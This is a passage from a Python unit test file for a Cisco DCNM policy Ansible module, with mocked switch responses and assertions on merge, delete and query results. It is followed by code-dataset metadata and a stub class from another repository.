self._testMethodName): have_resp_101_105_multi = self.payloads_data.get('have_response_101_105_multi') mark_delete_resp_101 = self.payloads_data.get('mark_delete_response_101') mark_delete_resp_102 = self.payloads_data.get('mark_delete_response_102') mark_delete_resp_103 = self.payloads_data.get('mark_delete_response_103') mark_delete_resp_104 = self.payloads_data.get('mark_delete_response_104') mark_delete_resp_105 = self.payloads_data.get('mark_delete_response_105') delete_config_save_resp = self.payloads_data.get('delete_config_deploy_response_101_105') self.run_dcnm_send.side_effect = [have_resp_101_105_multi, mark_delete_resp_101, mark_delete_resp_101, mark_delete_resp_101, mark_delete_resp_102, mark_delete_resp_102, mark_delete_resp_103, mark_delete_resp_104, mark_delete_resp_105, delete_config_save_resp, [], [], [], [], [], [], [], [], ] if ('test_dcnm_policy_delete_with_template_name_with_second_delete' == self._testMethodName): have_resp_101_105 = self.payloads_data.get('have_response_101_105') get_response_101 = self.payloads_data.get('get_response_101') get_response_102 = self.payloads_data.get('get_response_102') get_response_103 = self.payloads_data.get('get_response_103') get_response_104 = self.payloads_data.get('get_response_104') get_response_105 = self.payloads_data.get('get_response_105') mark_delete_resp_101 = self.payloads_data.get('mark_delete_response_101') mark_delete_resp_102 = self.payloads_data.get('mark_delete_response_102') mark_delete_resp_103 = self.payloads_data.get('mark_delete_response_103') mark_delete_resp_104 = self.payloads_data.get('mark_delete_response_104') mark_delete_resp_105 = self.payloads_data.get('mark_delete_response_105') delete_config_save_resp = self.payloads_data.get('delete_config_deploy_response_101_105') delete_resp_101 = self.payloads_data.get('delete_response_101') delete_resp_102 = self.payloads_data.get('delete_response_102') delete_resp_103 = self.payloads_data.get('delete_response_103') delete_resp_104 = self.payloads_data.get('delete_response_104') delete_resp_105 = self.payloads_data.get('delete_response_105') self.run_dcnm_send.side_effect = [have_resp_101_105, mark_delete_resp_101, mark_delete_resp_102, mark_delete_resp_103, mark_delete_resp_104, mark_delete_resp_105, delete_config_save_resp, get_response_101, delete_resp_101, get_response_102, delete_resp_102, get_response_103, delete_resp_103, get_response_104, delete_resp_104, get_response_105, delete_resp_105, delete_config_save_resp ] if ('test_dcnm_policy_query_with_switch_info' == self._testMethodName): have_resp_101_105 = self.payloads_data.get('have_response_101_105') self.run_dcnm_send.side_effect = [have_resp_101_105, ] if ('test_dcnm_policy_query_with_policy_id' == self._testMethodName): get_resp_101 = self.payloads_data.get('get_response_101') get_resp_102 = self.payloads_data.get('get_response_102') get_resp_103 = self.payloads_data.get('get_response_103') get_resp_104 = self.payloads_data.get('get_response_104') get_resp_105 = self.payloads_data.get('get_response_105') self.run_dcnm_send.side_effect = [get_resp_101, get_resp_102, get_resp_103, get_resp_104, get_resp_105 ] if ('test_dcnm_policy_query_with_template_name' == self._testMethodName): have_resp_101_105 = self.payloads_data.get('have_response_101_105') self.run_dcnm_send.side_effect = [have_resp_101_105, ] if ('test_dcnm_policy_query_with_template_name_match_multi' == self._testMethodName): have_resp_101_105_multi = self.payloads_data.get('have_response_101_105_multi') self.run_dcnm_send.side_effect = [have_resp_101_105_multi, ] def load_fixtures(self, response=None, device=''): # setup the side effects self.run_dcnm_fabric_details.side_effect = [self.mock_fab_inv] self.run_dcnm_ip_sn.side_effect = [[self.mock_ip_sn, []]] # Load policy related side-effects self.load_policy_fixtures () #################################### FIXTURES END ############################ #################################### TEST-CASES ############################## def test_dcnm_policy_merged_new (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('create_policy_101_105') set_module_args(dict(state='merged', deploy=True, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=True, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 5) self.assertEqual(len(result["diff"][0]["deleted"]) , 0) self.assertEqual(len(result["diff"][0]["query"]) , 0) self.assertEqual(len(result["diff"][0]["deploy"]) , 5) # Validate create and deploy responses count = 0 max_count = len(result["diff"][0]["merged"]) for resp in result["response"]: if (count < max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual(("is created successfully" in resp["DATA"]["successList"][0]["message"]), True) elif (count == max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual((len(resp["DATA"][0]["successPTIList"].split(",")) == 5), True) count = count + 1 def test_dcnm_policy_merged_same_template (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('create_policy_101_101_5') set_module_args(dict(state='merged', deploy=True, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=True, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 5) self.assertEqual(len(result["diff"][0]["deleted"]) , 0) self.assertEqual(len(result["diff"][0]["query"]) , 0) self.assertEqual(len(result["diff"][0]["deploy"]) , 5) # Validate create and deploy responses count = 0 max_count = len(result["diff"][0]["merged"]) for resp in result["response"]: if (count < max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual(("is created successfully" in resp["DATA"]["successList"][0]["message"]), True) elif (count == max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual((len(resp["DATA"][0]["successPTIList"].split(",")) == 5), True) count = count + 1 def test_dcnm_policy_merged_new_check_mode (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('create_policy_101_105') set_module_args(dict(state='merged', deploy=True, fabric='mmudigon', _ansible_check_mode=True, config=self.playbook_config)) result = self.execute_module(changed=False, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 5) self.assertEqual(len(result["diff"][0]["deleted"]) , 0) self.assertEqual(len(result["diff"][0]["query"]) , 0) self.assertEqual(len(result["diff"][0]["deploy"]) , 5) self.assertEqual(len(result["response"]) , 0) def test_dcnm_policy_merged_existing (self): # Idempotence case # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('create_policy_101_105') set_module_args(dict(state='merged', deploy=True, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=True, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 0) self.assertEqual(len(result["diff"][0]["deleted"]) , 0) self.assertEqual(len(result["diff"][0]["query"]) , 0) self.assertEqual(len(result["diff"][0]["deploy"]) , 5) # Validate create and deploy responses count = 0 max_count = len(result["diff"][0]["merged"]) for resp in result["response"]: if (count < max_count): count = count + 1 continue elif (count == max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual((len(resp["DATA"][0]["successPTIList"].split(",")) == 5), True) count = count + 1 def test_dcnm_policy_merged_existing_and_non_exist (self): # Idempotence case # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('create_policy_101_105') set_module_args(dict(state='merged', deploy=True, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=True, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 2) self.assertEqual(len(result["diff"][0]["deleted"]) , 0) self.assertEqual(len(result["diff"][0]["query"]) , 0) self.assertEqual(len(result["diff"][0]["deploy"]) , 5) # Validate create and deploy responses count = 0 max_count = len(result["diff"][0]["merged"]) for resp in result["response"]: if (count < max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual(("is created successfully" in resp["DATA"]["successList"][0]["message"]), True) elif (count == max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual((len(resp["DATA"][0]["successPTIList"].split(",")) == 5), True) count = count + 1 def test_dcnm_policy_without_state (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('create_policy_without_state_104_105') set_module_args(dict(deploy=True, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=True, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 2) self.assertEqual(len(result["diff"][0]["deleted"]) , 0) self.assertEqual(len(result["diff"][0]["query"]) , 0) self.assertEqual(len(result["diff"][0]["deploy"]) , 2) # Validate create and deploy responses count = 0 max_count = len(result["diff"][0]["merged"]) for resp in result["response"]: if (count < max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual(("is created successfully" in resp["DATA"]["successList"][0]["message"]), True) elif (count == max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual((len(resp["DATA"][0]["successPTIList"].split(",")) == 2), True) count = count + 1 def test_dcnm_policy_merge_additional_policies (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('create_policy_additional_flags_104') set_module_args(dict(state='merged', deploy=True, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=True, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 2) self.assertEqual(len(result["diff"][0]["deleted"]) , 0) self.assertEqual(len(result["diff"][0]["query"]) , 0) self.assertEqual(len(result["diff"][0]["deploy"]) , 2) # Validate create and deploy responses count = 0 max_count = len(result["diff"][0]["merged"]) for resp in result["response"]: if (count < max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual(("is created successfully" in resp["DATA"]["successList"][0]["message"]), True) elif (count == max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual((len(resp["DATA"][0]["successPTIList"].split(",")) == 2), True) count = count + 1 def test_dcnm_policy_merge_additional_policies_exist (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('create_policy_additional_flags_104') set_module_args(dict(state='merged', deploy=True, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=True, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 2) self.assertEqual(len(result["diff"][0]["deleted"]) , 0) self.assertEqual(len(result["diff"][0]["query"]) , 0) self.assertEqual(len(result["diff"][0]["deploy"]) , 2) # Validate create and deploy responses count = 0 max_count = len(result["diff"][0]["merged"]) for resp in result["response"]: if (count < max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual(("is created successfully" in resp["DATA"]["successList"][0]["message"]), True) elif (count == max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual((len(resp["DATA"][0]["successPTIList"].split(",")) == 2), True) count = count + 1 def test_dcnm_policy_merge_multiple_switches (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('create_policy_multi_switch_101_105') set_module_args(dict(state='merged', deploy=True, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=True, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 8) self.assertEqual(len(result["diff"][0]["deleted"]) , 0) self.assertEqual(len(result["diff"][0]["query"]) , 0) self.assertEqual(len(result["diff"][0]["deploy"]) , 8) # Validate create and deploy responses count = 0 max_count = len(result["diff"][0]["merged"]) for resp in result["response"]: if (count < max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual(("is created successfully" in resp["DATA"]["successList"][0]["message"]), True) elif (count == max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual((len(resp["DATA"][0]["successPTIList"].split(",")) == 2), True) self.assertEqual((len(resp["DATA"][1]["successPTIList"].split(",")) == 3), True) self.assertEqual((len(resp["DATA"][2]["successPTIList"].split(",")) == 3), True) count = count + 1 def test_dcnm_policy_merge_no_deploy (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('create_policy_101_105') set_module_args(dict(state='merged', fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=True, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 5) self.assertEqual(len(result["diff"][0]["deleted"]) , 0) self.assertEqual(len(result["diff"][0]["query"]) , 0) self.assertEqual(len(result["diff"][0]["deploy"]) , 5) # Validate create and deploy responses count = 0 max_count = len(result["diff"][0]["merged"]) for resp in result["response"]: if (count < max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual(("is created successfully" in resp["DATA"]["successList"][0]["message"]), True) elif (count == max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual((len(resp["DATA"][0]["successPTIList"].split(",")) == 5), True) count = count + 1 def test_dcnm_policy_merge_deploy_false (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('create_policy_no_deploy_104') set_module_args(dict(state='merged', deploy=False, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=True, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 1) self.assertEqual(len(result["diff"][0]["deleted"]) , 0) self.assertEqual(len(result["diff"][0]["query"]) , 0) self.assertEqual(len(result["diff"][0]["deploy"]) , 0) # Validate create and deploy responses count = 0 max_count = len(result["diff"][0]["merged"]) for resp in result["response"]: if (count < max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual(("is created successfully" in resp["DATA"]["successList"][0]["message"]), True) elif (count == max_count): self.assertEqual((count < max_count), True) count = count + 1 def test_dcnm_policy_merged_new_with_vars (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('create_policy_125_127_with_vars') set_module_args(dict(state='merged', deploy=True, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=True, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 3) self.assertEqual(len(result["diff"][0]["deleted"]) , 0) self.assertEqual(len(result["diff"][0]["query"]) , 0) self.assertEqual(len(result["diff"][0]["deploy"]) , 3) # Validate create and deploy responses count = 0 max_count = len(result["diff"][0]["merged"]) for resp in result["response"]: if (count < max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual(("is created successfully" in resp["DATA"]["successList"][0]["message"]), True) elif (count == max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual((len(resp["DATA"][0]["successPTIList"].split(",")) == 3), True) count = count + 1 def test_dcnm_policy_modify_with_template_name (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('modify_policy_104_with_template_name') set_module_args(dict(state='merged', deploy=True, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=True, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 1) self.assertEqual(len(result["diff"][0]["deleted"]) , 0) self.assertEqual(len(result["diff"][0]["query"]) , 0) self.assertEqual(len(result["diff"][0]["deploy"]) , 1) # Validate create and deploy responses count = 0 max_count = len(result["diff"][0]["merged"]) for resp in result["response"]: if (count < max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual(("is created successfully" in resp["DATA"]["successList"][0]["message"]), True) elif (count == max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual((len(resp["DATA"][0]["successPTIList"].split(",")) == 1), True) count = count + 1 def test_dcnm_policy_modify_with_policy_id (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('modify_policy_104_with_policy_id') set_module_args(dict(state='merged', deploy=True, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=True, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 1) self.assertEqual(len(result["diff"][0]["deleted"]) , 0) self.assertEqual(len(result["diff"][0]["query"]) , 0) self.assertEqual(len(result["diff"][0]["deploy"]) , 1) self.assertEqual(len(result["diff"][0]["skipped"]) , 0) # Validate create and deploy responses count = 0 max_count = len(result["diff"][0]["merged"]) for resp in result["response"]: if (count < max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual(("is created successfully" in resp["DATA"]["successList"][0]["message"]), True) elif (count == max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual((len(resp["DATA"][0]["successPTIList"].split(",")) == 1), True) count = count + 1 def test_dcnm_policy_modify_policy_with_vars (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('modify_policy_125_with_vars') set_module_args(dict(state='merged', deploy=True, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=True, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 1) self.assertEqual(len(result["diff"][0]["deleted"]) , 0) self.assertEqual(len(result["diff"][0]["query"]) , 0) self.assertEqual(len(result["diff"][0]["deploy"]) , 1) self.assertEqual(len(result["diff"][0]["skipped"]) , 0) # Validate create and deploy responses count = 0 max_count = len(result["diff"][0]["merged"]) for resp in result["response"]: if (count < max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual(("is created successfully" in resp["DATA"]["successList"][0]["message"]), True) elif (count == max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual((len(resp["DATA"][0]["successPTIList"].split(",")) == 1), True) count = count + 1 def test_dcnm_policy_delete_with_template_name (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('delete_policy_template_name_101_105') set_module_args(dict(state='deleted', deploy=True, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=True, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 0) self.assertEqual(len(result["diff"][0]["deleted"]) , 5) self.assertEqual(len(result["diff"][0]["query"]) , 0) self.assertEqual(len(result["diff"][0]["deploy"]) , 0) self.assertEqual(len(result["diff"][0]["skipped"]) , 0) # Validate create and deploy responses count = 0 max_count = len(result["diff"][0]["deleted"]) for resp in result["response"]: if (count < max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual((resp["DATA"]["deleted"] == True), True) elif (count == max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual(("Config deployment has been triggered" in resp["DATA"]["status"]), True) else: self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual(("Deleted successfully" in resp["DATA"]["message"]), True) count = count + 1 def test_dcnm_policy_delete_with_policy_id (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('delete_policy_policy_id_101_105') set_module_args(dict(state='deleted', deploy=True, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=True, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 0) self.assertEqual(len(result["diff"][0]["deleted"]) , 5) self.assertEqual(len(result["diff"][0]["query"]) , 0) self.assertEqual(len(result["diff"][0]["deploy"]) , 0) self.assertEqual(len(result["diff"][0]["skipped"]) , 0) # Validate create and deploy responses count = 0 max_count = len(result["diff"][0]["deleted"]) for resp in result["response"]: if (count < max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual((resp["DATA"]["deleted"] == True), True) elif (count == max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual(("Config deployment has been triggered" in resp["DATA"]["status"]), True) else: self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual(("Deleted successfully" in resp["DATA"]["message"]), True) count = count + 1 def test_dcnm_policy_delete_multiple_policies_with_template_name (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('delete_policy_template_name_multi') set_module_args(dict(state='deleted', deploy=True, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=True, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 0) self.assertEqual(len(result["diff"][0]["deleted"]) , 8) self.assertEqual(len(result["diff"][0]["query"]) , 0) self.assertEqual(len(result["diff"][0]["deploy"]) , 0) self.assertEqual(len(result["diff"][0]["skipped"]) , 0) # Validate create and deploy responses count = 0 max_count = len(result["diff"][0]["deleted"]) for resp in result["response"]: if (count < max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual((resp["DATA"]["deleted"] == True), True) elif (count == max_count): self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual(("Config deployment has been triggered" in resp["DATA"]["status"]), True) else: self.assertEqual(resp["RETURN_CODE"], 200) self.assertEqual(("Deleted successfully" in resp["DATA"]["message"]), True) count = count + 1 def test_dcnm_policy_delete_with_template_name_with_second_delete (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('delete_policy_template_name_101_105') set_module_args(dict(state='deleted', deploy=True, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=True, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 0) self.assertEqual(len(result["diff"][0]["deleted"]) , 5) self.assertEqual(len(result["diff"][0]["query"]) , 0) self.assertEqual(len(result["diff"][0]["deploy"]) , 0) self.assertEqual(len(result["diff"][0]["skipped"]) , 0) # Validate create and deploy responses max_count = len(result["diff"][0]["deleted"]) for resp in result["response"]: self.assertEqual(resp["RETURN_CODE"], 200) def test_dcnm_policy_query_with_switch_info (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('query_policy_with_switch_info') set_module_args(dict(state='query', deploy=True, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=False, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 0) self.assertEqual(len(result["diff"][0]["deleted"]) , 0) self.assertEqual(len(result["diff"][0]["query"]) , 5) self.assertEqual(len(result["diff"][0]["deploy"]) , 0) self.assertEqual(len(result["diff"][0]["skipped"]) , 0) self.assertEqual((len(result["response"]) == 5) , True) def test_dcnm_policy_query_with_policy_id (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('query_policy_with_policy_id') set_module_args(dict(state='query', deploy=True, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=False, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 0) self.assertEqual(len(result["diff"][0]["deleted"]) , 0) self.assertEqual(len(result["diff"][0]["query"]) , 5) self.assertEqual(len(result["diff"][0]["deploy"]) , 0) self.assertEqual(len(result["diff"][0]["skipped"]) , 0) self.assertEqual((len(result["response"]) == 5) , True) def test_dcnm_policy_query_with_template_name (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('query_policy_with_template_name') set_module_args(dict(state='query', deploy=True, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=False, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 0) self.assertEqual(len(result["diff"][0]["deleted"]) , 0) self.assertEqual(len(result["diff"][0]["query"]) , 5) self.assertEqual(len(result["diff"][0]["deploy"]) , 0) self.assertEqual(len(result["diff"][0]["skipped"]) , 0) self.assertEqual((len(result["response"]) == 5) , True) def test_dcnm_policy_query_with_template_name_match_multi (self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('query_policy_with_template_name') set_module_args(dict(state='query', deploy=True, fabric='mmudigon', config=self.playbook_config)) result = self.execute_module(changed=False, failed=False) self.assertEqual(len(result["diff"][0]["merged"]) , 0) self.assertEqual(len(result["diff"][0]["deleted"]) , 0) self.assertEqual(len(result["diff"][0]["query"]) , 5) self.assertEqual(len(result["diff"][0]["deploy"]) , 0) self.assertEqual(len(result["diff"][0]["skipped"]) , 0) self.assertEqual((len(result["response"]) == 8) , True) def test_dcnm_policy_wrong_state(self): # load the json from playbooks self.config_data = loadPlaybookData('dcnm_policy_configs') self.payloads_data = loadPlaybookData('dcnm_policy_payloads') # get mock ip_sn and fabric_inventory_details self.mock_fab_inv = [] self.mock_ip_sn = self.payloads_data.get('mock_ip_sn') # load required config data self.playbook_config = self.config_data.get('create_policy_wrong_state_104') set_module_args(dict(state='replaced', fabric='mmudigon', config=self.playbook_config)) result = None try: result = self.execute_module(changed=False, failed=False) except: self.assertEqual (result, None)

48.429655

136

0.598876

6,564

57,486

4.911639

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0.084677

0.08139

0.082506

0.938151

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0.913555

0.901365

0.876861

0.859988

0

0.034707

0.287774

57,486

1,186

137

48.470489

0.752729

0.066486

0

0.784409

0

0.171986

0.079555

0

0.221681

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0.036541

false

0.001218

0.00609

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0.046285

0.001218

0

null

0

1

0

1

0

null

0

7

54b3202a6b5750d675b0cca120c7416f9ef17a78

94

py

Python

tensorflow_encrypted/protocol/unencrypted_native.py

OshanIvantha/tf-encrypted

538e4857fa7adaa024a03c532ba3b5d78d89d1b9

[ "Apache-2.0" ]

null

tensorflow_encrypted/protocol/unencrypted_native.py

OshanIvantha/tf-encrypted

538e4857fa7adaa024a03c532ba3b5d78d89d1b9

[ "Apache-2.0" ]

null

tensorflow_encrypted/protocol/unencrypted_native.py

OshanIvantha/tf-encrypted

538e4857fa7adaa024a03c532ba3b5d78d89d1b9

[ "Apache-2.0" ]

null

from ..protocol import Protocol class UnencryptedNative(Protocol): # TODO pass

11.75

34

0.680851

9

94

7.111111

0.777778

0

0.255319

94

8

35

11.75

0.914286

0.042553

0

0.125

0

1

0

true

0.333333

0

0.666667

0

1

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null

0

1

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null

0

1

0

1

0

1

0

7

49b68699f166eb37ec18d6505f7134a934e233d5

26,180

py

Python

scripts/run_deeptrio_test.py

google/deepvariant

9cf1c7b0e2342d013180aa153cba3c9331c9aef7

[ "BSD-3-Clause" ]

2,553

2017-12-04T15:10:17.000Z

2022-03-24T09:05:14.000Z

scripts/run_deeptrio_test.py

google/deepvariant

9cf1c7b0e2342d013180aa153cba3c9331c9aef7

[ "BSD-3-Clause" ]

501

2017-12-04T18:34:33.000Z

2022-03-31T13:30:50.000Z

scripts/run_deeptrio_test.py

google/deepvariant

9cf1c7b0e2342d013180aa153cba3c9331c9aef7

[ "BSD-3-Clause" ]

730

2017-12-04T18:53:46.000Z

2022-03-29T03:33:11.000Z

